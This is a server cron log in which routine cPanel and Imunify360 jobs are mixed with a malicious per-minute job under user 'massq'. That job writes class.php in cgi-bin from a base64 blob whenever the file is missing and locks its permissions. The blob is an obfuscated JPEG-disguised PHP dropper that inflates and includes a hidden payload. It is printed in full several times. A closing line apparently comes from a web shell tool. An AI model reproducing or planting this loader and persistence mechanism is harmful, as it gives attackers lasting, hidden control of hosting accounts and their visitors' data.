Sep  6 03:56:01 server CROND[15296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:56:01 server CROND[15297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:56:01 server CROND[15295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:57:01 server CROND[15668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:57:01 server CROND[15669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:57:01 server CROND[15671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:57:01 server CROND[15670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:58:01 server CROND[16036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:58:01 server CROND[16043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:58:01 server CROND[16042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:59:01 server CROND[16403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:59:01 server CROND[16404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:59:01 server CROND[16405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:00:01 server CROND[16839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:00:01 server CROND[16842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:00:01 server CROND[16843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:00:01 server CROND[16860]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 04:00:01 server CROND[16867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:00:01 server CROND[16868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:00:01 server CROND[16873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:00:01 server CROND[16871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:00:01 server CROND[16876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:00:01 server CROND[16872]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 04:01:01 server CROND[17751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:01:01 server CROND[17750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:01:01 server CROND[17752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:01:01 server CROND[17753]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 04:01:01 server run-parts(/etc/cron.hourly)[17753]: starting 0anacron
Sep  6 04:01:01 server anacron[17773]: Anacron started on 2026-09-06
Sep  6 04:01:01 server anacron[17773]: Job `cron.daily' locked by another anacron - skipping
Sep  6 04:01:01 server anacron[17773]: Normal exit (0 jobs run)
Sep  6 04:01:01 server run-parts(/etc/cron.hourly)[17776]: finished 0anacron
Sep  6 04:02:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:02:01 server CROND[18128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:02:01 server CROND[18129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:03:01 server CROND[18501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:03:01 server CROND[18502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:03:01 server CROND[18503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:03:42 server run-parts(/etc/cron.daily)[18842]: finished imunify-antivirus.cron
Sep  6 04:03:42 server run-parts(/etc/cron.daily)[27636]: starting logclean
Sep  6 04:03:42 server run-parts(/etc/cron.daily)[18854]: finished logclean
Sep  6 04:03:42 server run-parts(/etc/cron.daily)[27636]: starting logrotate

Youez - 2016 - github.com/yon3zu
LinuXploit